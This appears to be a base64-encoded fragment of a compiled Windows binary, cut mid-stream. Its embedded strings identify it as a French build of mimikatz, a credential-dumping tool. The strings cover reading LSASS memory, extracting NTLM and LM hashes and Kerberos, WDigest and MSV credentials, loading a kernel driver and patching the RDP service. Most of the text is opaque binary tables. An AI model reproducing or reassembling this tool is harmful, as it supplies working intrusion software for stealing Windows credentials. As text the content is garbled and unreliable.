GUAcwAgAGQAZQAgAHMAZQBzAHMAaQBvAG4AAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAOkAbgB1AG0AZQByAGUAcgAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAABEAOkAbQBhAHIAcgBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAFMAdQBwAHAAcgBpAG0AZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAEkAbgBzAHQAYQBsAGwAZQAgAGUAdAAvAG8AdQAgAGQA6QBtAGEAcgByAGUAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAABXAEkATgAzADIAXwBPAFcATgBfAFAAUgBPAEMARQBTAFMAAABXAEkATgAzADIAXwBTAEgAQQBSAEUAXwBQAFIATwBDAEUAUwBTAAAAQwBPAE4AVABJAE4AVQBFAF8AUABFAE4ARABJAE4ARwAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAFAAQQBVAFMARQBEAAAAAABSAFUATgBOAEkATgBHAAAAUwBUAEEAUgBUAF8AUABFAE4ARABJAE4ARwAAAFMAVABPAFAAXwBQAEUATgBEAEkATgBHAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAG4AbwBuACAAcAByAOkAcwBlAG4AdAAsACAAaQBuAHMAdABhAGwAbABhAHQAaQBvAG4ALgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AcwB5AHMAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAWwArAF0AIABBAHQAdAByAGkAYgB1AHQAaQBvAG4AIABkAGUAcwAgAGQAcgBvAGkAdABzACAAOgAgAE8ASwAAAFsALQBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABLAE8AIAA7ACAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAFsAKgBdACAAUABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAOkAagDgACAAcAByAOkAcwBlAG4AdAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAABFAGYAZgBhAGMAZQAgAGwAJwDpAGMAcgBhAG4AIAAoAG4AZQAgAGYAbwBuAGMAdABpAG8AbgBuAGUAIABwAGEAcwAgAGUAbgAgAOkAeABlAGMAdQB0AGkAbwBuACAAZABpAHMAdABhAG4AdABlACwAIAB2AGkAYQAgAFAAcwBFAHgAZQBjACAAcABhAHIAIABlAHgAZQBtAHAAbABlACkAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAAAAAAAAQwBhAGwAYwB1AGwAZQAgAGwAYQAgAHIA6QBwAG8AbgBzAGUAIADgACAAbABhACAARwByAGEAbgBkAGUAIABRAHUAZQBzAHQAaQBvAG4AIABzAHUAcgAgAGwAYQAgAFYAaQBlACwAIABsACcAVQBuAGkAdgBlAHIAcwAgAGUAdAAgAGwAZQAgAFIAZQBzAHQAZQAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAUgBlAHQAbwB1AHIAbgBlACAAbABhACAAdgBlAHIAcwBpAG8AbgAgAGQAZQAgAG0AaQBtAGkAawBhAHQAegAAAHYAZQByAHMAaQBvAG4AAABNAGUAdABzACAAZQBuACAAcABhAHUAcwBlACAAbQBpAG0AaQBrAGEAdAB6ACAAdQBuACAAYwBlAHIAdABhAGkAbgBzACAAbgBvAG0AYgByAGUAIABkAGUAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAZQBzAAAAAABzAGwAZQBlAHAAAAAwODo1MjoyMQAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAARgBpAG4AIAAhAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAIABjAG8AdQByAGEAbgB0AAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAIABuAG8AbQAgAGQAJwBvAHIAZABpAG4AYQB0AGUAdQByACAAYwBvAHUAcgBhAG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABVAHMAZQByAE4AYQBtAGUAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAAOgAgAAAAAABzAGUAcwBzAGkAbwBuAHMAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAFAAYQB0AGMAaAAgAGwAZQAgAGIAdQByAGUAYQB1ACAA4AAgAGQAaQBzAHQAYQBuAGMAZQAgAHAAbwB1AHIAIABkAOkAcABhAHMAcwBlAHIAIAAyACAAYwBvAG4AbgBlAHgAaQBvAG4AcwAgAHMAaQBtAHUAbAB0AGEAbgDpAGUAcwAAAG0AdQBsAHQAaQByAGQAcAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwDpAHQAYQB0ACAAZABlACAAbABhACAAcAByAGkAcwBlACAAZABlACAAYwBvAG4AdAByAPQAbABlACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABSAEQAUAAAAHYAaQBlAHcAcwBoAGEAZABvAHcAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAABtAG8AZABpAGYAeQBzAGgAYQBkAG8AdwAAAAAAUwBlAHMAcwBJAGQACQBFAHQAYQB0AAkAcwB0AHIARQB0AGEAdAAAAG0AbwBkAF8AdABzADoAOgBnAGUAdABTAGUAcwBzAGkAbwBuAHMAIAA6ACAAAAAAAFAASQBEAAkAUwBlAHMAcwBJAGQACQBVAHQAaQBsAGkAcwBhAHQAZQB1AHIAAAAAAEQASQBTAEEAQgBMAEUAAABJAE4AVABFAFIAQQBDAFQAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAVgBJAEUAVwBfAE4ATwBBAFMASwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAFMAZQByAHYAaQBjAGUARgBvAHIATgBhAG0AZQAgADoAIAAAAEkATgBUAEUAUgBBAEMAVAAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAFYASQBFAFcAIAAoAGMAbwBuAGYAaQByAG0AYQB0AGkAbwBuACkAAABBAGMAdABpAHYAZQAAAAAAQwBvAG4AbgBlAGMAdABlAGQAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAUwBoAGEAZABvAHcAAAAAAEQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABJAGQAbABlAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAARABvAHcAbgAAAAAASQBuAGkAdAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAUwB1AHMAcABlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAYQBjAHQAaQBmAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAcwB1AHMAcABlAG4AZAB1AAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAcQB1AGkAdAAAAAAAUABJAEQACQBUAEkARAAJAHAAcgBUAGgAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAdABoAHIAZQBhAGQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgByAGUAcwB1AG0AZQAgADsAIAAAAAAAJwAgAGkAbgB2AGEAbABpAGQAZQAAAAAAYQByAGcAdQBtAGUAbgB0ACAAJwAAAAAACQBzAHUAcwBwAGUAbgBzAGkAbwBuACAAAAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHUAcwBwAGUAbgBkACAAOwAgAAAACQBhAHIAcgDqAHQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHQAbwBwACAAOwAgAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAABNAGUAdAAgAGUAbgAgAHAAYQB1AHMAZQAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAAAAcABhAHUAcwBlAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAABQAGEAdABjAGgA6QAgADsAKQAAAHcAaQBuAG0AaQBuAGUALgBlAHgAZQAAAG4ALgBhAC4AIAAoAGsAZQByAGIAZQByAG8AcwAgAEsATwApAAAAAABuAC4AcwAuACAAKABTAHUAcABwAEMAcgBlAGQAIABLAE8AKQAgAC8AIAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4AcwAuACAAKABQAHIAaQBtAGEAcgB5AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEsATwApAAAAAABuAC4AZQAuACAAKABMAGUAYwB0AHUAcgBlACAASwBJAFcASQBfAE0AUwBWADEAXwAwAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4AcwAuACAAKABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBMAEkAUwBUACAASwBPA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QMAhskDAKHJAwC8yQMA18kDAPLJAwANygMAKMoDAEPKAwBeygMAecoDAJTKAwCvygMAysoDAOXKAwAAywMAG8sDADbLAwBRywMAbMsDAIfLAwCiywMAvcsDANjLAwDzywMADswDACnMAwBEzAMAX8wDAHrMAwCVzAMAsMwDAMvMAwDmzAMAAc0DABzNAwA3zQMAUs0DAG3NAwCIzQMAo80DAL7NAwDZzQMA9M0DAA/OAwAqzgMARc4DAGDOAwB7zgMAls4DALHOAwDMzgMA584DAALPAwAdzwMAOM8DAFPPAwBuzwMAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////LMcDECIFkxkBAAAAKLsEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9PxwMQAAAAAFfHAxAiBZMZAgAAAFS7BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA7AAFEAAAAAD/////AAAAAAwAAACHLwIQAAAAAP0WABAAAAAAtLsEEAMAAADEuwQQiLsEEDDEBBAAAAAADAEFEAAAAAD/////AAAAAAwAAADULwIQAAAAAP0WABAAAAAA8LsEEAMAAAAAvAQQiLsEEDDEBBAAAAAALAEFEAAAAAD/////AAAAAAwAAAAhMAIQ/////33HAxAiBZMZAQAAABy8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////oscDECIFkxkBAAAASLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////FxwMQIgWTGQEAAAB0vAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA//////LHAxAiBZMZAQAAAKC8BBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////H8gDECIFkxkBAAAAzLwEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP7///8AAAAA1P///wAAAAD+////AAAAAKtTAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAApFcCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC6WQIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAMBaAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAoFsCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADKZQIQ/v///wAAAADWZQIQ/v///wAAAADM////AAAAAP7///8AAAAA7XICEAAAAAAAAAAAqnICEAAAAAAAAAAAvHICEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAC8dAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAANd3AhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAy3gCEAAAAAD+////AAAAANT///8AAAAA/v///yt6AhA8egIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAHGKAhAAAAAAM4oCED2KAhD+////AAAAANj///8AAAAA/v///xmLAhAiiwIQQAAAAAAAAAAAAAAAEYwCEP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAvL4EECIFkxkCAAAAzL4EEAEAAADcvgQQAAAAAAAAAAAAAAAAAQAAAAAAAAD+